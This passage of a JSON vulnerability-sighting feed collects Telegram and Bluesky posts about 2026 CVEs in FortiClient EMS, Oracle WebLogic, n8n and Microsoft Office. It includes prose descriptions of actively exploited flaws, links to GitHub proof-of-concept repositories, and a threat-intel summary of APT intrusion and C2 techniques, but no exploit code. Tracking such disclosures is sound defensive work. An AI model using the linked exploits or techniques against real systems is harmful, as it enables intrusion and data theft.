thehackernews.com\n\nTue, 03 Mar 2026 15:08:00", "creation_timestamp": "2026-07-20T20:00:05.401803Z"}, {"uuid": "4ddbd310-8088-4a11-b8df-9b96b21af7be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "published-proof-of-concept", "source": "Telegram/59qmJbxlXRw1hpXLsNomAnJqLLMJaCeoeuKXV4P1Fhmqb-w", "content": "", "creation_timestamp": "2026-08-31T00:00:50.842492Z"}, {"uuid": "63a56605-b8f9-40cd-b1f4-372871ab3e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/critical_bug/1681", "content": "\ud83d\udd25 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 FortiClient EMS: CVE-2026-21643 \ud83d\udd34 CVSS 9.8\n\n\u0412 Fortinet FortiClient Endpoint Management Server (EMS) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438! \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f (CWE-89) \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u0430 (tenant). HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 SQL-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a PostgreSQL \u0431\u0435\u0437 \u043e\u0447\u0438\u0441\u0442\u043a\u0438. \u0421\u0430\u043c\u043e\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0435 \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0414\u041e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438!\n\n\ud83d\udea8 \u0418\u043c\u043f\u0430\u043a\u0442: \u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0434\u0438\u043d HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a:\n\u2014 \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432\n\u2014 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u043e\u0432\n\u2014 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\u2014 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shodan, \u043e\u043a\u043e\u043b\u043e 1000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0442\u043e\u0440\u0447\u0430\u0442 \u0433\u043e\u043b\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u043a\u043e\u0439 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \ud83e\udd2f\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n1\ufe0f\u20e3 \u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c FortiClient EMS 7.4.4 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.5 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \u0412\u0435\u0440\u0441\u0438\u0438 7.2 \u0438 8.0 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n2\ufe0f\u20e3 \u0423\u0431\u0440\u0430\u0442\u044c \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 EMS \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0422\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 VPN!\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Fortinet #CVE #SQLi #ZeroDay #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-21T00:00:40.735282Z"}, {"uuid": "1ff594c7-28af-4564-a209-5cc3a98204b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/secdb.bsky.social/post/3mtu752pfox2v", "content": "\ud83d\udea8 CISA Adds One Known Exploited Vulnerability to Catalog (https://secdb.nttzen.cloud/security-advisory/detail/CISA-2026:0824)\n\n\u26a0\ufe0f CVE-2026-21962 - Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability\n\n\n#ZEN #SecDB #InfoSec #CISA_KEV", "creation_timestamp": "2026-08-24T21:00:19.601642Z"}, {"uuid": "f99873b9-7421-4e25-89ff-539de1d34e3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21962", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mtyw6qns2s2b", "content": "CVE-2026-21962 (CVSS 10.0) added to CISA KEV. Unauthenticated HTTP access to Oracle WebLogic and HTTP Server. Active exploitation confirmed. Patch now. #infosec https://0daynews.com/articles/2026-08-25-oracle-weblogic-cve-2026-21962-kev", "creation_timestamp": "2026-08-26T18:03:30.801001Z"}, {"uuid": "e9aa1b91-ea1b-4547-8126-d94bd436fb8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/infosec_ita_notizie/2567", "content": "\ud83d\uddde\ufe0f Critical Fortinet FortiClient EMS Vulnerability CVE-2026-21643 Actively Exploited \u2014 CISA Demands Patch Today\n\n\ud83c\udfe1 via securebulletin.com \ud83d\udd17 https://ift.tt/Df4w3WH", "creation_timestamp": "2026-07-21T04:00:07.926222Z"}, {"uuid": "b3535e6f-aa40-41b9-8421-2c4ece183929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/thecircuitry.to/post/3mtuac4xzud2t", "content": "Breaking: CISA Adds CVE-2026-21962 to Known Exploited Vulnerabilities Catalog. That, plus 2 more \u2014 the day's biggest tech stories, fact-checked and cut to two minutes.", "creation_timestamp": "2026-08-24T21:21:05.093991Z"}, {"uuid": "d085c66e-9cf5-4bb9-8ddc-6d1c43113000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/cve0day/318", "content": "CVE-2026-21643\n\nAn improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiClientEMS 7.4.4 may allow an unauthenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests.\n\nGitHub Link:\nhttps://github.com/alirezac0/CVE-2026-21643", "creation_timestamp": "2026-08-27T15:00:11.477167Z"}, {"uuid": "a5a0283b-659c-4ea4-a6b6-a8a759605bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/thehackernews/9880", "content": "\ud83d\udea8 Attackers are actively exploiting a CVSS 10.0 Oracle WebLogic flaw\n\nCVE-2026-21962 can let unauthenticated attackers access or modify critical data in Oracle HTTP Server and WebLogic Server Proxy Plug-in via HTTP.\n\nSee the exploitation details - https://thehackernews.com/2026/08/actively-exploited-oracle-weblogic-flaw.html", "creation_timestamp": "2026-08-26T19:00:03.620301Z"}, {"uuid": "6c5a400d-10b6-4541-a6b6-515e6af4f0f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/cve0day/386", "content": "CVE-2026-21962\n\nVulnerability in the Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: Weblogic Server Proxy Plug-in for Apache HTTP Server, Weblogic Server Proxy Plug-in for IIS).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical da...", "creation_timestamp": "2026-08-27T15:00:08.195620Z"}, {"uuid": "a9f52ffb-2722-4be6-b062-cfa55ad125d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/cve0day/369", "content": "CVE-2026-21858\n\nn8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker, resulting in exposure of sensitive information stored on the system and may enable further compromise depending on deployment configuration and workflow usage. This issue is fixed in version 1.121.0.\n\nGitHub Link:\nhttps://github.com/masterwok/PoC-CVE-2026-21858", "creation_timestamp": "2026-08-27T15:00:08.689428Z"}, {"uuid": "49ef9b98-3e3a-4997-b0a0-772d1c12be0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/cve0day/260", "content": "CVE-2026-21509\n\nReliance on untrusted inputs in a security decision in Microsoft Office allows an unauthorized attacker to bypass a security feature locally.\n\nGitHub Link:\nhttps://github.com/suuhm/CVE-2026-21509-handler", "creation_timestamp": "2026-08-27T15:00:12.590237Z"}, {"uuid": "b9246777-c18e-4c24-b5c3-c36572f2934a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21579", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr6krg6y6h2o", "content": "CVE-2026-21579 - Atlassian Confluence Data Center Information Disclosure Vulnerability\nCVE ID : CVE-2026-21579\n \n Published : July 21, 2026, 6:16 p.m. | 19\u00a0minutes ago\n \n Description : This High severity Information Disclosure vulnerability was introduced in versions 7.17.0, 7...", "creation_timestamp": "2026-07-21T19:39:36.019388Z"}, {"uuid": "73e13533-0d80-4bc4-8f0f-cbe12a85249f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21953", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr6sjn4xpd2a", "content": "CVE-2026-21953\nCVE ID : CVE-2026-21953\n \n Published : July 21, 2026, 9:31 p.m. | 13\u00a0minutes ago\n \n Description : None\n \n Severity: 0.0 | NA\n \n Visit the link for more details, such as CVSS details, affected products, timeline, and more...\n#CVE", "creation_timestamp": "2026-07-21T21:58:24.575953Z"}, {"uuid": "1a7217ef-54ed-4d0d-ba96-7d8fd71f190d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21954", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr6suyfanj2b", "content": "CVE-2026-21954\nCVE ID : CVE-2026-21954\n \n Published : July 21, 2026, 9:32 p.m. | 13\u00a0minutes ago\n \n Description : None\n \n Severity: 0.0 | NA\n \n Visit the link for more details, such as CVSS details, affected products, timeline, and more...\n#CVE", "creation_timestamp": "2026-07-21T22:04:45.451672Z"}, {"uuid": "3fe8bd60-0534-4e05-a8dc-2aec932e4184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21978", "type": "published-proof-of-concept", "source": "Telegram/WNPKjULv0ephKNyiWQmiLebMVhKs5Yq19I9tIqi1CZzDTIM", "content": "", "creation_timestamp": "2026-07-22T00:00:07.701528Z"}, {"uuid": "3e4a8b89-bdda-4e5c-95b1-42368225b2f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21628", "type": "published-proof-of-concept", "source": "Telegram/w6l8BPd9Q3GJFkZvi7YAaS3nfqUL8sbBpYE2TLByxwgM4Fc", "content": "", "creation_timestamp": "2026-07-22T00:00:07.878627Z"}, {"uuid": "7a5e4d4b-c1f8-45a2-9306-1f426a59f3df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/9835", "content": "Microsoft Office Zero-Day (CVE-2026-21509) - Emergency Patch Issued for Active Exploitation \u2013 thehackernews.com\n\nTue, 27 Jan 2026 18:37:00", "creation_timestamp": "2026-07-22T00:00:31.110359Z"}, {"uuid": "ded5fe8a-3d93-49e2-898a-380809129d31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/ptescalator/760", "content": "\u0413\u0440\u0443\u043f\u043f\u0430 \u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 PT ESC \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0437\u0430 II \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430 \u270d\ufe0f\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438: \u043e\u0442 \u0433\u043e\u0441\u0441\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u0412\u041f\u041a \u0434\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a Rare Werewolf, PseudoGamaredon, Tolik, XDSpy, CloudAtlas, BO Team, NetMedved, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 Hive0117.\n\n\u2709\ufe0f \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430:\n\n\u2022 \u0422\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0438\u0448\u0438\u043d\u0433 \u0441 \u043b\u0435\u0433\u0435\u043d\u0434\u0430\u043c\u0438 \u0434\u0435\u043b\u043e\u0432\u043e\u0439, \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0441\u043a\u043e\u0439 \u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438.\n\u2022 \u0410\u0440\u0445\u0438\u0432\u044b \u0441 HTA-, LNK-, JScript-\u0444\u0430\u0439\u043b\u0430\u043c\u0438, RAR \u0441 BAT-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Office \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c\u0438.\n\u2022 \u0420\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432 (BEC) \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432.\n\u2022 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2026-21509 \u0432 Microsoft Office.\n\n\ud83d\udd0d \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043d\u0430\u0445\u043e\u0434\u043a\u0438:\n\n\u2022 Hive0117 \u043f\u0435\u0440\u0435\u0448\u043b\u0430 \u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 C2 \u0447\u0435\u0440\u0435\u0437 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d Bitcoin \u2014 \u0430\u0434\u0440\u0435\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 OP_RETURN-\u0432\u044b\u0445\u043e\u0434\u0435 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0438 \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0442\u0435\u043b\u0435 \u043e\u0431\u0440\u0430\u0437\u0446\u0430.\n\n\u2022 CloudAtlas \u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0437\u0430 oEmbed-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 WordPress-\u0441\u0430\u0439\u0442\u044b.\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0442\u0447\u0435\u0442\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432 \u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435 \ud83e\udef2\n\n#TI #APT #Malware #Phishing \n@ptescalator", "creation_timestamp": "2026-07-22T10:00:03.643182Z"}, {"uuid": "ebd6b2aa-ecd8-46d8-ab7a-6b62c2cd36c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mtwvozkb6v24", "content": "\ud83d\udea8 Critical Threat Intel: CVE-2026-21962 impacts Oracle HTTP Server & Weblogic Proxy Plug-in via access control bypass. Review exploitation patterns, web access detection queries, and active endpoint hardening actions.\nhttps://thecybermind.co/jily", "creation_timestamp": "2026-08-25T22:49:24.501323Z"}, {"uuid": "caf51ffc-e37c-4e97-bf16-2dadd060b0b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "https://t.me/ptescalator/760", "content": "\u0413\u0440\u0443\u043f\u043f\u0430 \u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 PT ESC \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0437\u0430 II \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430 \u270d\ufe0f\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438: \u043e\u0442 \u0433\u043e\u0441\u0441\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u0412\u041f\u041a \u0434\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a Rare Werewolf, PseudoGamaredon, Tolik, XDSpy, CloudAtlas, BO Team, NetMedved, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 Hive0117.\n\n\u2709\ufe0f \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430:\n\n\u2022 \u0422\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0438\u0448\u0438\u043d\u0433 \u0441 \u043b\u0435\u0433\u0435\u043d\u0434\u0430\u043c\u0438 \u0434\u0435\u043b\u043e\u0432\u043e\u0439, \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0441\u043a\u043e\u0439 \u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438.\n\u2022 \u0410\u0440\u0445\u0438\u0432\u044b \u0441 HTA-, LNK-, JScript-\u0444\u0430\u0439\u043b\u0430\u043c\u0438, RAR \u0441 BAT-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Office \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c\u0438.\n\u2022 \u0420\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432 (BEC) \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432.\n\u2022 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2026-21509 \u0432 Microsoft Office.\n\n\ud83d\udd0d \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 